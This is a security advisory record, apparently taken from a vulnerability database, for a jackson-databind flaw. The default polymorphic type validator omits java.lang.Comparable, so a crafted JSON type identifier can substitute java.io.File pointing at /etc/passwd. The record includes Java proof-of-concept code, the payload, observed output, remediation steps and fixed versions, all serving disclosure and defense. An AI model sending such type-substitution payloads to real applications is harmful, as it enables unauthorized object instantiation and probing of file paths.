{"id":"CVE-2026-83557","aliases":["GHSA-gx83-3vf8-gh7j"],"url":"https://o3.security/vulnerability/CVE-2026-83557","summary":"jackson-databind omits java.lang.Comparable from DefaultBaseTypeLimitingValidator's unsafe base types","details":"### Summary\n`DefaultBaseTypeLimitingValidator` — the `PolymorphicTypeValidator` used automatically whenever `@JsonTypeInfo` is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific \"unsafe base types\" (`Object`, `Serializable`, `Closeable`, `AutoCloseable`, `Cloneable`, `Runnable`, `java.util.logging.Handler`, `javax.naming.Referenceable`, `javax.sql.DataSource`). Its `isSafeSubType()` returns `true` unconditionally for every other base type. `java.lang.Comparable` is not in that list, despite being implemented by a very large fraction of JDK and application classes — comparable in breadth to `Serializable`, which is denylisted for exactly that reason. An application with an `@JsonTypeInfo`-annotated `Comparable`-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing `Comparable`.\n\n### Details\n**Affected file:** `src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java`\n\n```java\nprivate final static class UnsafeBaseTypes {\n    private final Set<String> UNSAFE = new HashSet<>();\n    {\n        UNSAFE.add(Object.class.getName());\n        UNSAFE.add(java.io.Closeable.class.getName());\n        UNSAFE.add(java.io.Serializable.class.getName());\n        UNSAFE.add(AutoCloseable.class.getName());\n        UNSAFE.add(Cloneable.class.getName());\n        UNSAFE.add(Runnable.class.getName());          // [databind#5014]\n        UNSAFE.add(\"java.util.logging.Handler\");\n        UNSAFE.add(\"javax.naming.Referenceable\");\n        UNSAFE.add(\"javax.sql.DataSource\");\n        // java.lang.Comparable is NOT present here\n    }\n}\n\nprotected boolean isSafeSubType(DatabindContext ctxt,\n        JavaType baseType, JavaType subType) {\n    return true;   // unconditional for every base type not in UNSAFE\n}\n```\n\nThe class's own JavaDoc acknowledges the design (*\"Note that when using potentially unsafe base type like `java.lang.Object` a custom implementation... is needed\"*), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that `Comparable` has the same breadth of implementers as the types this class *does* restrict, and its absence looks like an oversight rather than a deliberate choice — consistent with the ongoing, incremental nature of this list (`Runnable` was added recently for issue #5014).\n\nThis is specific to the **default, unconfigured validator** reached via bare `@JsonTypeInfo` usage. Global \"Default Typing\" via `activateDefaultTyping()` is **not** affected, because that method structurally requires an explicit `PolymorphicTypeValidator` argument — a correctly-configured `BasicPolymorphicTypeValidator` rejects the same payload under `activateDefaultTyping()`.\n\n### PoC\nBuilt entirely from source (jackson-databind + jackson-core + jackson-annotations, `javac`, OpenJDK 21, no third-party gadget libraries, no network access):\n\n**1. Sanity check (benign class, confirms the mechanism fires):**\n```java\nstatic class SafeThing implements Comparable<SafeThing> {\n    public String name;\n    public SafeThing() {}\n    public int compareTo(SafeThing o) { return 0; }\n}\nstatic class Holder {\n    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)\n    public Comparable<?> value;\n}\n\nObjectMapper mapper = JsonMapper.builder().build();   // no custom PTV\nString json = \"{\\\"value\\\":{\\\"@class\\\":\\\"...SafeThing\\\",\\\"name\\\":\\\"hello\\\"}}\";\nHolder h = mapper.readValue(json, Holder.class);\n// RESULT: ACCEPTED, class=...SafeThing\n```\n\n**2. Real JDK class substitution:**\n```java\nString json = \"{\\\"value\\\":[\\\"java.io.File\\\",\\\"/etc/passwd\\\"]}\";\nHolder h = mapper.readValue(json, Holder.class);\n// RESULT: ACCEPTED, class=java.io.File value=/etc/passwd\n```\n\n**3. Negative control — Default Typing with an explicit custom PTV:**\n```java\nPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()\n    .allowIfSubType(\"PtvGapTest4\").build();\nObjectMapper mapper = JsonMapper.builder()\n    .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();\n// same java.io.File payload\n// RESULT: REJECTED - InvalidTypeIdException: \"...denied resolution\"\n```\n\n**Observed output:**\n\n\n\n\n$ java -cp .:build/classes PtvGapTest3\nTrying: {\"value\":[\"java.io.File\",\"/etc/passwd\"]}\nACCEPTED, class=java.io.File value=/etc/passwd\n\n$ java -cp .:build/classes PtvGapTest4\nTrying malicious substitution: [\"PtvGapTest4$Holder\",{\"value\":[\"java.io.File\",\"/etc/passwd\"]}]\nREJECTED - InvalidTypeIdException: Could not resolve type id 'java.io.File' as a\nsubtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution\n\n\n\n\n### Impact\nAny application declaring an `@JsonTypeInfo`-annotated property or class with `Comparable` as its base type, without a separately configured restrictive `PolymorphicTypeValidator`, will accept a type identifier for essentially any class implementing `Comparable`. Concrete impact is demonstrated via `java.io.File`: an attacker can cause construction of a `File` object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive. \n\n**Suggested remediation:**\n1. Add `java.lang.Comparable` to `UnsafeBaseTypes.UNSAFE`.\n2. Audit other broad JDK interfaces (`java.lang.Iterable`, `java.util.EventListener`) for the same gap.\n3. Consider a narrower default for `isSafeSubType()` for base types outside the fixed denylist, rather than unconditional `true`.","published":"2026-09-01T14:57:01.340Z","modified":"2026-10-21T10:56:04.602528885Z","cvss":{"score":5.6,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Maven","name":"tools.jackson.core:jackson-databind","fixedVersion":"3.1.6"},{"ecosystem":"Maven","name":"tools.jackson.core:jackson-databind","fixedVersion":"3.2.2"},{"ecosystem":"Maven","name":"com.fasterxml.jackson.core:jackson-databind","fixedVersion":"2.18.10"},{"ecosystem":"Maven","name":"com.fasterxml.jackson.core:jackson-databind","fixedVersion":"2.21.6"},{"ecosystem":"Maven","name":"com.fasterxml.jackson.core:jackson-databind","fixedVersion":"2.22.2"}],"fix":{"url":"https://github.com/FasterXML/jackson-databind/commit/eb3b7fc0f9c0d27f471550ac3316b17d1987388f","label":"FasterXML/jackson-databind@eb3b7fc"},"references":[{"type":"WEB","url":"https://repo.maven.apache.org/maven2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/83xxx/CVE-2026-83557.json"},{"type":"ADVISORY","url":"https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-gx83-3vf8-gh7j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83557"},{"type":"REPORT","url":"https://github.com/FasterXML/jackson-databind/issues/6156"},{"type":"FIX","url":"https://github.com/FasterXML/jackson-databind/commit/eb3b7fc0f9c0d27f471550ac3316b17d1987388f"},{"type":"FIX","url":"https://github.com/FasterXML/jackson-databind/pull/6155"},{"type":"PACKAGE","url":"https://github.com/FasterXML/jackson-databind"},{"type":"WEB","url":"https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10"},{"type":"WEB","url":"https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6"},{"type":"WEB","url":"https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2"},{"type":"WEB","url":"https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6"},{"type":"WEB","url":"https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T10:56:04.602528885Z"}}